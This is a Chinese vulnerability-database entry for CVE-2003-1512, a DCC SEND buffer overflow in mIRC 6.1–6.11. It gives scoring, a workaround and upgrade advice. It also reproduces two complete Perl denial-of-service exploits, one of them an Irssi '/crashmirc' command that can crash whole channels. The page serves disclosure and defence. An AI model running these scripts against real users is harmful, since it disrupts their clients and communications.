CVE-2003-1512
CVSS5.0
发布时间 :2003-12-31 00:00:00
修订时间 :2008-09-05 16:37:07
NMCOE    

[原文]Buffer overflow in mIRC 6.1 and 6.11 allows remote attackers to cause a denial of service (crash) via a long DCC SEND request.


[CNNVD]mIRC DCC SEND缓冲区溢出漏洞(CNNVD-200312-233)

        
        mIRC是一款流行的在线聊天程序。
        mIRC客户端在处理DCC SEND请求时缺少充分缓冲区边界检查,远程攻击者可以利用这个漏洞对目标用户进行缓冲区溢出攻击,可能以mIRC进程权限在系统上执行任意指令。
        攻击者可以发送超长的特殊构建的'DDC SEND'请求给目标mIRC客户端,由于缺少充分边界检查,可触发缓冲区溢出,精心构建请求数据可能以mIRC进程权限在系统上执行任意指令。
        

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: NETWORK [攻击者不需要获取内网访问权或本地访问权]
身份认证: NONE [漏洞利用无需身份认证]

- CWE (弱点类目)

CWE-119 [内存缓冲区边界内操作的限制不恰当]

- CPE (受影响的平台与产品)

cpe:/a:khaled_mardam-bey:mirc:6.11
cpe:/a:khaled_mardam-bey:mirc:6.1

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1512
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2003-1512
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200312-233
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/8818
(PATCH)  BID  8818

- 漏洞信息

mIRC DCC SEND缓冲区溢出漏洞
中危 边界条件错误
2003-12-31 00:00:00 2003-12-31 00:00:00
远程  
        
        mIRC是一款流行的在线聊天程序。
        mIRC客户端在处理DCC SEND请求时缺少充分缓冲区边界检查,远程攻击者可以利用这个漏洞对目标用户进行缓冲区溢出攻击,可能以mIRC进程权限在系统上执行任意指令。
        攻击者可以发送超长的特殊构建的'DDC SEND'请求给目标mIRC客户端,由于缺少充分边界检查,可触发缓冲区溢出,精心构建请求数据可能以mIRC进程权限在系统上执行任意指令。
        

- 公告与补丁

        临时解决方法:
        如果您不能立刻安装补丁或者升级,CNNVD建议您采取以下措施以降低威胁:
        * 使用"/ignore -d *"或"/ignore -wd *"来忽略所有DCC请求。
        厂商补丁:
        Khaled Mardam-Bey
        -----------------
        目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        
        http://www.mirc.com/index.html

- 漏洞信息 (23240)

mIRC 6.1 DCC SEND Buffer Overflow Vulnerability (1) (EDBID:23240)
windows dos
2003-10-13 Verified
0 Takara Takaishi
N/A [点击下载]
source: http://www.securityfocus.com/bid/8818/info

A vulnerability has been reported to exist in the mIRC client that may allow a remote attacker to crash a vulnerable mIRC client. The condition is most likely present due to insufficient boundary checking performed on 'DCC SEND' requests.

It has been reported that when received, a malicious 'DDC SEND' request can trigger a fatal error and cause an affected mIRC client to crash. 

#!/usr/bin/perl -w
use IO::Socket;
# get irc server to connect to, and nick to exploit.
print "Enter Serv: "; chomp($serv=<STDIN>);
print "Enter Nick: "; chomp($nick=<STDIN>);

#setup connection
$ocket = IO::Socket::INET->new(
                        PeerAddr=>"$serv",
			PeerPort=>'6667'
			) || die "could not connect to $serv: $!";

#$| = 1;
#$ocket->autoflush();
$line="";
until($line =~ /Ident/){
	$oldline=$line;
	$line = <$ocket>;
	if($oldline ne $line) {print $line;}
}

print $ocket "user ident irc name ircname\n";  #send ident/ircname info

$line="";
until($line =~/PING/){
	$oldline=$line;
	$line = <$ocket>;
	if ($oldline ne $line) {print $line;}
}


$line =~ s/.*://;
print $ocket "PONG :$line\n";
print $ocket "nick thssmnck\n";
print $ocket "privmsg $nick :DCC SEND \"a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a \" 1079095848 666\n";

		

- 漏洞信息 (23241)

mIRC 6.1 DCC SEND Buffer Overflow Vulnerability (2) (EDBID:23241)
windows dos
2003-10-13 Verified
0 DarkAngel
N/A [点击下载]
source: http://www.securityfocus.com/bid/8818/info
 
A vulnerability has been reported to exist in the mIRC client that may allow a remote attacker to crash a vulnerable mIRC client. The condition is most likely present due to insufficient boundary checking performed on 'DCC SEND' requests.
 
It has been reported that when received, a malicious 'DDC SEND' request can trigger a fatal error and cause an affected mIRC client to crash. 

#!/usr/bin/perl

# mIRC v.6.01-6.11 DCC bug crash script
# usage:
# /crashmirc <#chan>  crashes every user with vulnerable mIRC client on <#chan>
# /crashmirc <nick>   crashes <nick> with vulnerable mIRC client
#
# v0.4: fixed bug with dcc send command, thx to DarkAngel

use Irssi;
use strict;

use vars qw($VERSION %IRSSI);

$VERSION = "0.4";
%IRSSI = (
     authors            => 'Philipp Sieweck, DarkAngel',
     description        => 'Crashs another mIRC client using the ' .
                           'dcc-filename-too-long bug',
     license            => 'GPL',
     contact            => 'psieweck@freenet.de (PGP UserID: 4496DDC2), ' .
                           'darkangel(at)hysteria(dot)sk',
     version            => $VERSION
);

#sub generate_random_string($)
#{
#     my $string_length = shift;
#     my $str = '';
#     my $strchr = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOQRSTUVWXYZ';
#
#     for (my $i = 0; $i < $string_length; $i++) {
#         my $ri = int(rand(length($strchr)));
#         $str .= substr($strchr, $ri, 1);
#     }
#
#     return $str;
#}

sub generate_crash_string($)
{
     my $string_length = shift;
     my $str;

     for (my $i = 0; $i < $string_length/2; $i++) {
          $str .= 'a ';
     }
     $str .= 'a';
     return $str;
}
sub create_dcc_send_message($$$$$)
{
     my ($nick, $ip, $filename, $filesize, $port) = @_;
     my @ip_chunks = $ip =~ /^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/;
     my $cip = $ip_chunks[0]*256*256*256
             + $ip_chunks[1]*256*256
             + $ip_chunks[2]*256
             + $ip_chunks[3];

     return "PRIVMSG $nick :\x01DCC SEND $filename $cip $port $filesize\x01";
}

sub crash_mirc($$$)
{
     my ($data, $server, $witem) = @_;

     unless ($server) {
          print CLIENTCRAP '%W[%R!%W]%n Not connected to Server!';
          return;
     }

     $data =~ /^(\S+)/;
     my $nick = $1;
     unless ($nick) {
          print CLIENTCRAP '%W[%R!%W]%n Syntax: /crashmirc <#chan>|<nick>';
          return;
     }

     my $port = Irssi::settings_get_int('mirc_dcc_crash_dccport');
     my $filesize = Irssi::settings_get_int('mirc_dcc_crash_filesize');
     my $sender_ip = Irssi::settings_get_str('mirc_dcc_crash_sender_ip');
     my $filename_length = Irssi::settings_get_int('mirc_dcc_crash_filename_length');
     my $filename_suffix = Irssi::settings_get_str('mirc_dcc_crash_filename_suffix');

     print CLIENTCRAP '%W[%B-%W]%n Sending DCC CrashMsg to %W' . $nick . '%n';
     my $raw_str = &create_dcc_send_message($nick, $sender_ip,
#                   &generate_random_string($filename_length).$filename_suffix,
                    '"'.&generate_crash_string($filename_length).$filename_suffix.'"',
                    $filesize, $port);
     $server->send_raw($raw_str);
}

Irssi::settings_add_int('mirc_dcc_crash', 'mirc_dcc_crash_dccport', 34234);
Irssi::settings_add_int('mirc_dcc_crash', 'mirc_dcc_crash_filesize', 32234234);
Irssi::settings_add_str('mirc_dcc_crash', 'mirc_dcc_crash_sender_ip', '80.34.2.234');
Irssi::settings_add_str('mirc_dcc_crash', 'mirc_dcc_crash_filename_suffix', '');
Irssi::settings_add_int('mirc_dcc_crash', 'mirc_dcc_crash_filename_length', 400);

Irssi::command_bind('crashmirc', 'crash_mirc');

		

- 漏洞信息

2663
mIRC Long DCC SEND Request Remote DoS
Remote / Network Access Denial of Service
Loss of Availability Workaround, Upgrade
Exploit Public Vendor Verified

- 漏洞描述

A flaw exists in version 6.x of mIRC that allows an attacker to cause a Denial of Service. This flaw exists in the way that mIRC handles certain DCC (Direct Client Connection)requests.

- 时间线

2003-10-13 Unknow
Unknow Unknow

- 解决方案

Upgrade to mIRC 6.12. This version can be obtained from http://www.mirc.com/get.html A workaround to this issue is to type this in the chat window: /ignore -wd *

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站